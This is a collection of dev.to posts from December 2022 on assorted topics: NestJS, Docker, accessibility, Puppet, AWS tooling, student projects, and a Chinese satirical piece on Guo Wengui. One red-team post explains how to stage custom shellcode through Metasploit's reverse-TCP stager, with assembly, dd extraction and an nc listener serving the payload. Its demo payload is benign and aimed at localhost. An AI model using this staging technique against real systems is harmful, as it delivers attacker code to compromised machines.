teleren/devto huggingface dataset:
郭主播的“三张面孔”
Published: 2022-12-02 02:28:31


在现代社交媒体上，“网络主播”这一行业正在迅猛发展。而在形形色色的主播中，郭文贵可谓是一股泥石流：在名为“郭媒体”的直播间里，他自称“战神”，更多的却是以其“三张面孔”著称：一人千面的“戏精主播”、博人眼球的“炫富主播”和大发粉丝财的“淘宝主播”。郭粉更是自称“小蚂蚁”，以无脑刷“666”名声在外。
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/chvj5p649io6pq2qc5q6.JPG)
NestJS vs. Ditsmod: features of providers
Tags: nestjs, ditsmod, node
Published: 2022-12-02 01:57:25

Interceptors, guards, pipes, and exception filters are sometimes referred to as "enhancers" in the NestJS documentation. Although they are all declared with the `@Injectable()` decorator and can use Dependency Injection, they are not providers. Therefore, they cannot be exported from the module like normal providers.

> _This article uses NestJS v10.1 and [Ditsmod][1] v2.38 for comparison. I am the author of Ditsmod._

I decided to write this article while browsing NestJS issues, in particular [A guard with dependencies can't be injected into another module][2]. Its author wonders why NestJS cannot resolve the dependency for AuthGuard because this dependency is imported into the module where the guard is declared.

And the creator of NestJS wrote the following answer:

> Enhancers can’t be injected to other providers. Hence, they are not providers. Likewise, enhancers can be tied & injected to the method evaluation context, but you can’t bind providers this way. There’s no reason to change this, especially if you start thinking about enhancers scoped per host (module in which they exist). Adding them to the providers array explicitly creates an unnecessary redundancy and confusion (since enhancers don’t act equally to providers).

So, according to Kamil, adding interceptors, guards, pipes and exception filters to the list of providers will confuse NestJS users. As a result of these restrictions, NestJS applications must export all dependencies for guards from the module, even if those dependencies are not directly used outside the module in which the guards are declared. This restriction essentially breaks module encapsulation.

In [Ditsmod][1], the guards, interceptors, and controller error handlers (analogous to exception filters in NestJS) are normal providers that are passed to the injector at the request level. In next code demonstrates the centralized addition of a guard on `OtherModule`:

```ts
import { featureModule } from '@ditsmod/core';

import { OtherModule } from '../other/other.module';
import { AuthModule } from '../auth/auth.module';
import { AuthGuard } from '../auth/auth.guard';

@featureModule({
  imports: [
    AuthModule,
    { path: 'some-path', module: OtherModule, guards: [AuthGuard] }
  ]
})
export class SomeModule {}
```

In this example, the `AuthModule` exports the `AuthGuard` so that the current module can use this guard as a regular provider.

[1]: https://ditsmod.github.io/en/
[2]: https://github.com/nestjs/nest/issues/3856
Release 0.4 - Progress
Tags: programming, react, opensource, github
Published: 2022-12-02 01:51:17

So far, I have made some progress on both the newer repositories.

For `github-writer` I figured out the basis of how to run the commands during the workflow. Currently I'm sure that it relies on Node version 16, I have tried running the integration with different versions but they **will** fail. Not only that but the versions of the `CDK editor` are also very specific. 

So now that I know that, It **HAS** to stay the same, so there isn't much I can modify within the `package.json` . Even upgrading it to a more recent version would break the continuous integration workflow.

What I'm going to focus on next is trying to properly run lint within this workflow. From my previous implementation of lint was not correct, so I will have to somehow find a way to properly run the command in order to get the correct result. I would also have to figure out 

As for `scrambled` So far, I have the layout of how it should be displayed somewhat finished. I even included it within the `App.js` file so I could test it locally to see that it does convert it to minutes and seconds from a parent.

For now it does take from a parent and display it, so from now I will be focusing on creating a tick that would set it as a countdown. The hard part would be trying to set up the speed at which it would tick down, and set it to stop at `00:00`. 

That is what I will be focusing on up until the finished product.

NOTE: The wedding repository has been either privated or removed from githu
Using metasploit to stage your own payloads
Tags: redteam, defenseevasion, c2, x64
Published: 2022-12-02 01:37:51

# Why?

You want to make your C2 framework interoperable with metasploit framework so that you can deliver your own payloads post-exploit (Cobalt Strike does this).

# When?

Your payload is position-independent code, fits within 4096 bytes, and delivering your payload in the clear is an acceptable indicator of compromise.

# How?

This is a worked exampled for Linux x64 architecture.

## Inspecting metasploit's stager code

Take a look at the source for [stager_sock_reverse](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/linux/x64/stager_sock_reverse.s) - the stager for `linux/x64/shell/reverse_tcp`. 

Here's what's going on:
1. It allocates 4k of RAM for your payload,
2. connects to `LHOST`:`LPORT` over TCP,
3. reads max 4k into RAM, and
4. jumps to the start of your payload.

Note that `LHOST` and `LPORT` are hardcoded as `127.0.0.1` (`0x0100007f`) and `5555` (`0xb315`) respectively from `movabs $0x100007fb3150002, %rcx`. We don't care about this in the general case, because metasploit will override them based on our exploit options, but it matters for this demonstration.

## Crafting a Hello World payload

This assembler is the bare minimum for a print statement that exits cleanly:

```assembler
.global	_start

_start:
  movabs $0x0A0D216f6c6c6548, %rcx # "Hello!\r\n"
  push %rcx 
  mov %rsp, %rsi # const char *buf
  mov $1, %rdi # int fd (stdout)
  mov $8, %rdx # size_t size
  mov $1, %rax # sys_write
  syscall

  mov $0, %rdi # int error_code
  mov $60, %rax # sys_exit
  syscall

  nop # 0x90
```

We compile like so:
```
$ gcc -s -static -nostdlib hello_world.s -o hello_world
```

This gives us an ELF executable (which is much more than we want):
```
$ file hello_world
hello_world: ELF 64-bit LSB executable, x86-64, 
  version 1 (SYSV), statically linked, stripped
``` 

We can find the offset to the code we want with hexdump (note, that our `nop` instruction is `90` in hex and is at position 0x1036):

```
$ hexdump -C hello_world
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
...snip...
*
00001000  48 b9 48 65 6c 6c 6f 21  0d 0a 51 48 89 e6 48 c7  |H.Hello!..QH..H.|
00001010  c7 01 00 00 00 48 c7 c2  08 00 00 00 48 c7 c0 01  |.....H......H...|
00001020  00 00 00 0f 05 48 c7 c7  00 00 00 00 48 c7 c0 3c  |.....H......H..<|
00001030  00 00 00 0f 05 90 00 2e  73 68 73 74 72 74 61 62  |........shstrtab|
```

We can then extract just our payload with dd:

```
$ dd if=hello_world ibs=1 \
  skip=$((0x1000)) count=$((0x36)) of=payload
```

## Putting it all together

First, we serve our payload at the default `LPORT`:

```
$ nc -nlvp 5555 < payload &
Listening on 0.0.0.0 5555
```

Next we compile metasploit's stager from a local checkout:
```
$ gcc -nostdlib metasploit-framework/external/source/shellcode/linux/x64/stager_sock_reverse.s \
  -o stager_sock_reverse
```

Then we run the stager which grabs the payload and it executes:
```
$ ./stager_sock_reverse 
Connection received on 127.0.0.1 38126
Hello!
```

Success!
【Docker】How to enter container
Tags: docker
Published: 2022-12-02 01:32:40

Docker Desktop Version 4.7.0 (77141)
Engine: 20.10.14 

###1.Go to the directory where .yml file is.###
###2.Hit "docker compose up -d" to start container.###
###3.Hit "docker ps" to find ID of the container that you want to enter.###
```
docker ps 
CONTAINER ID   IMAGE                     COMMAND                  CREATED          STATUS          PORTS                    NAMES
f83475cb310e   frontend-project_node     "docker-entrypoint.s…"   39 minutes ago   Up 38 minutes   0.0.0.0:3000->3000/tcp   frontend-project_node_1
4e1de9c894af   backend-project_backend   "python3 manage.py r…"   56 minutes ago   Up 56 minutes   0.0.0.0:8000->8000/tcp   backend-project_backend_1
```
###4.Then, hit "docker exec -it <container ID> sh."###
*"sh" could be replaced by "/bin/bash."
```
docker exec -it f83475cb310e sh
```
###5.Yay!! Entered Docker!!###
```
/usr/src/app # 
```
Content & Tooling Team Status Update
Tags: puppet, content, updates
Published: 2022-12-02 18:03:08

---
title: Content & Tooling Team Status Update
published: true
date: 2022-12-02 00:00:00 UTC
tags: puppet, content, updates
canonical_url: https://puppetlabs.github.io/content-and-tooling-team/blog/updates/2022-12-02-status-update/
---

# It’s beginning to look a lot like Christmas

![Merry Christmas](https://media.giphy.com/media/z1qogLd15kVMfhKEMu/giphy.gif)

Happy Friday eveyone! And happy holidays! It’s definitely beginning to look a lot like Christmas in Belfast. We even had a Christmas jumper and office decoration day on Wednesday to welcome in the festive season.

# Our finest gifts we bring pa rum pum pum pum…

## PDK User Survey

In order for us to understand how to build a better PDK, [I](https://github.com/GSPatton) have created a [user survey](https://forms.office.com/r/TiFvqtEU8Z). We’d love to get a response from you! The submission deadline is the 16th of December and following this we will analyse the data so that we are ready to start planning the next steps for PDK in the new year! Exciting times!

## PDK Deep Dive

On the topic of PDK, [Craig](https://github.com/chelnak) has bravely ventured into the depths of PDK. We pray he returns safe and sound.

## Codebase Hardening

We have officially finished hardening our codebase. The team have put in a massive effort over the past few months to make our modules more secure. Big shout out to [Lukas](https://github.com/LukasAud), [Craig](https://github.com/chelnak) and [David](https://github.com/david22swan).

## Puppet Lint Unsafe Interpolations Plugin

[I](https://github.com/GSPatton) have created an MVP [gem](https://rubygems.org/gems/puppet-lint-check_unsafe_interpolations) for the puppet-lint unsafe interpolation plugin. We are currently testing this out and would be grateful for any feedback.

## In other news…

[Lukas](https://github.com/LukasAud) has been fixing some bugs in the Kubernetes module and [David](https://github.com/david22swan) has officially finished removing puppet-module-gems.

## Community Contributions

We’d like to thank the following people in the Puppet Community for their contributions over this past week:

- [`pdk-templates#484`](https://github.com/puppetlabs/pdk-templates/pull/484): “voxpupuli-puppet-lint-plugins: Pull in 3.1 or newer”, thanks to [bastelfreak](https://github.com/bastelfreak)

## New Module / Gem Releases

The following modules were released this week:

- [`puppetlabs-docker`](https://github.com/puppetlabs/puppetlabs-docker) (`6.0.1`)

- [`puppetlabs-java`](https://github.com/puppetlabs/puppetlabs-java) (`9.0.1`)
What makes Web Accessibility so important?
Tags: webdev, a11y, codequality
Published: 2022-12-02 01:17:21

One day, when I was in high school developing my first websites, I wondered how would people with disabilities access a computer, application or website? It is then that I discovered the concept of **Web Accessibility** or **Web a11y**.

Web accessibility is important because it **enables people with disabilities to access the same information, services, and opportunities available to everyone else**. It ensures that they can effectively and independently use the web.

It also helps to improve the user experience for all users, regardless of their abilities.

Accessible websites are easier to navigate, and are more user-friendly.

In addition, web accessibility helps to increase the visibility of websites and web applications, improving their potential reach. By making sure that websites are accessible, companies can ensure that their work reaches the maximum number of people.

## Making a web accessible

### ARIA

ARIA (**Accessible Rich Internet Applications**) is a set of attributes that developers can add to HTML elements to make them more accessible to users with disabilities.

ARIA works by adding extra information to HTML elements that helps assistive technologies, such as screen readers, in understanding how elements on the page are used and how they relate to each other.

This extra information allows assistive technologies to more accurately interpret the page and provide a better experience for users with disabilities.

### Google Lighthouse

![Google Lighthouse Metrics: Performance, Progressive Web App, Accessibility, Best Practices, SEO](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/36plznshm7sbfp6jux6r.png)

[Google Lighthouse](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk?hl=en), an automated tool for improving web accessibility, provides a checklist of criteria that web developers should consider when building websites. These criteria ensure that people with disabilities can properly interact with websites.

If you want to start, there are a few things you can do, such as [using descriptive link text](https://www.mtu.edu/accessibility/training/web/link-text/), providing [alternative text for images](https://www.w3schools.com/tags/att_img_alt.asp), and using a semantic markup language. You can also use tools such as screen readers and screen magnifiers to make sure everything works good.


![VoiceOver feature on Mac for screen reading](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/297sbwyibahv57w6bkf0.jpg)

Making an entire (already built) website accessible takes much more.

But it is worth it!

---

As web developers, **it is our responsibility to make sure that our work is accessible to everyone**. It is an important part of creating an equal digital experience.
Progress with feature implementation
Tags: web3, javascript, programming, beginners
Published: 2022-12-02 01:06:41

With the second week coming to an end, I managed to send a pull request regarding the first task that I planned for my issue. With this, the first implementation of adding "difficulty", has come to an end. I will have to focus all of my remaining time with the addition of the "mode" functionality.

> First Pull Request

The first pull request in regards to my issue contained a difficulty mode. The issue I had with my new added feature are the multiple variables that will be affected by it. The first issue I came across with is that, each time the difficulty is changed, it will not affect the current state of numbers. This issue is caused by the `AppState` only updating its value after it is used, which can lead to a delay. This was fixed by using the parameter value as to the current `state`. 

> Next Feature

When all of the issues were resolved, and the code was updated to do its intended function, I'm now moving on to the next phase, which is to add a new "mode" functionality, which will change the current state of the game from a standard operation to a "decimal". Later on, if I'm able to implement it, I will implement a "factorial" mode which will change the overall structure of the game, but this is only if I have enought time in my hand to finish it before the deadline.
Towards an Orthographic Development Environment: Small Beginnings
Tags: webdev, programming, go, tutorial
Published: 2022-12-02 00:52:11



When writing software, we have to contend with different environments, runtimes, dependencies et. all across potentially several developers, CI/CD processes and cloud deployments. With all this variance between where the source code is written and where it is run, it can be hard to manage all the sidecar scripts and random bits of tooling that accumulate over time. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0x6ay5hj0oesyqk1nab0.jpg)

[An axonometric projection](https://en.wikipedia.org/wiki/Orthographic_projection)

We all know containers have revolutionized how we build, deploy and test our services, I think this is only the beginning. A lot of teams run into challenges where they suffer from bloated zombie deployment code that no one understands, or some error prone manual process for creating releases. What if developers had a universal configurable control plane that is the interface for every stage of development and deployment? What if it consistently behaved the same way on any machine from localhost to prod?

An la carte set of components operating under a common deployment interface like a helm chart and [tilt](https://tilt.dev/). Errors could be surfaced far before a release rolls out. And what about how code is organized and structured? If there's a small team, it can be often difficult to keep track of what is going on across a critical mass of repos. How can we design our systems with strong contracts and loose couplings? Developers need to be able to iterate quickly, but autogenerated APIs like Hasura, Postgrest and Postgraphile are not the answer.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m8gnqrhvagwxd2nrqwfg.jpeg)

I've been thinking quite a bit about this lately at Cash and will be kicking off a new blog series on this subject. Going to throw out an obligatory disclaimer, these are just my opinions and do not reflect the stance of Cash Engineering. 

Every team, and problem have their own considerations. These abstractions may or may not work for your use case or teams. This is not intended to be the ideal setup, but rather an examination of strategies for spinning out the flywheel that allows devs to get going quickly.

> The map is not the territory

For small to medium sized teams, I've found that monorepos offer a high degree of visibility for development, additionally with some effort on CI/CD it can drastically simplify the build processes while accelerating the cadence and reliability of deployments.

[perspex](https://github.com/jmandel1027/perspex)

Above is a sort of living sandbox that we'll be exploring in this series. Consider it a starter for Sourdough, I'll be exploring various topics and ideas on a generative basis. So rather than a more standard tutorial, this will be a bit more long form. Also if theres any ideas or suggestions, please open a PR! Contributions are totally welcome.

stay tuned.

[github](https://github.com/jmandel1027)
[personal site](https://www.jmandel.io/)
tiny investigation into Cryptopals #51
Tags: cryptopals, history, crime
Published: 2022-12-02 00:47:38

I wondered why the challenge page doesn't mention <https://en.wikipedia.org/wiki/CRIME>, which it totally should if you ask me. X) (I would guess it's just already much more lengthy than other, so they decided to save some scrolling for you.)

I wanted to see roughly how many time was there between CRIME and challenge-51, and to our disappointment Cryptopals doesn't have any information on release/modification dates on the challenge page. So the best I got is a Reddit comment which gives approximate date of the challenge novelty. It's 2014, Nov; 8 years ago.

[![Cryptopals set 7 Reddit thread](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8l4au1w21i3fx5y8mt7s.png)](https://www.reddit.com/r/crypto/comments/2mf0gc/comment/cm7ognr/)
Why Visual Building Matters (Especially for Serverless)
Tags: serverless, lowcode, webdev, aws
Published: 2022-12-02 00:45:35

My team [launched](https://techcrunch.com/2022/12/01/aws-launches-application-composer-a-low-code-tool-for-building-serverless-apps/) a [thing](https://aws.amazon.com/application-composer/) today, and while there are so many features I can talk about (and many more to come), it’s a visual builder after all, so let me visually demonstrate what AWS Application Composer does:

{% embed https://twitter.com/annaspies/status/1598433433390575616 %}

In a nutshell, you can drag and drop serverless resources such as Lambda functions, API Gateway APIs, EventBridge rules, etc. onto a canvas, connect them to each other to add permissions, and out comes CloudFormation YAML with best practices baked in!

Oh yeah, and we're using the [File System Access API](https://developer.mozilla.org/en-US/docs/Web/API/File_System_Access_API) to save all of this to your local disk, so you can quickly push to git and deploy what you've built using the AWS SAM CLI 🤯

So why does this matter, especially in the serverless ecosystem? Because while there are numerous solutions for diagramming architectures, you then still have to learn how to provision those resources and get all of the permissions right for them to actually work. Before today, that usually meant learning to code that architecture in some sort of proprietary framework.

## How visual building delivers the promise of serverless

The promise of serverless was initially this: focus on your business logic, and let the cloud provider take care of the rest. Somehow, that promise evolved into "here are 153 ways to provision 200+ resources via yaml". And then CDK came along, and made that process friendlier for developers, but it still requires learning how to code resources in a specific framework. So here's a novel idea:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cuop8itpf16nt4zlqwy9.png)

Forget code, at least when it comes to your infrastructure! Save it for your Lambda logic and the things that differentiate your application. The world doesn't need more Terraform experts, but it does need cloud architects and devOps engineers who can quickly spin up infrastructure.

Oh, and with App Composer you get the bonus of being able to visualize existing architectures too, which is a killer feature when onboarding new team members:

{% embed https://twitter.com/annaspies/status/1598470067779686401 %}

Anyway, I’m mostly excited to finally be able to talk about what I’ve been working on the past ~8 months 😅 App Composer is a frontend-only, canvas-based service, so stay tuned if you want to know more about how we actually built the thing.

Now excuse me while I go sleep for a week.
Alternatives to Kubernetes?
Tags: kubernetes, containers
Published: 2022-12-02 00:01:37

My short blog on alternative options available for Kubernetes 

[https://belowthemalt.com/2022/12/01/what-are-the-alternatives-for-kubernetes/](https://belowthemalt.com/2022/12/01/what-are-the-alternatives-for-kubernetes/)
All Client SDKs were updated for Reduct Storage v1.1.0
Tags: news, python, javascript, cpp
Published: 2022-12-01 23:51:36

If you've been using the [Reduct Storage](https://reduct-storage.dev) client-side SDKs for [Python](https://github.com/reduct-storage/reduct-py), [JavaScript](https://github.com/reduct-storage/reduct-js) or [C++](https://github.com/reduct-storage/reduct-cpp) to interact with your storage instances, then you'll want to upgrade to the latest version. This week, all of our SDKs were updated to support Reduct Storage [v1.1.0](https://github.com/reduct-storage/reduct-storage/releases/tag/v1.1.0) with Token API. With this new release, we've made some important enhancements and bug fixes that will make your development experience smoother and more productive. So make sure you upgrade today!

For Python:

```
pip install "reduct-py==1.1.0"
```

For JavaScript/Node.js/TypeScript:

```
npm i reduct-js@1.1.0
```

For C++.... you know how ´cmake´ works, right?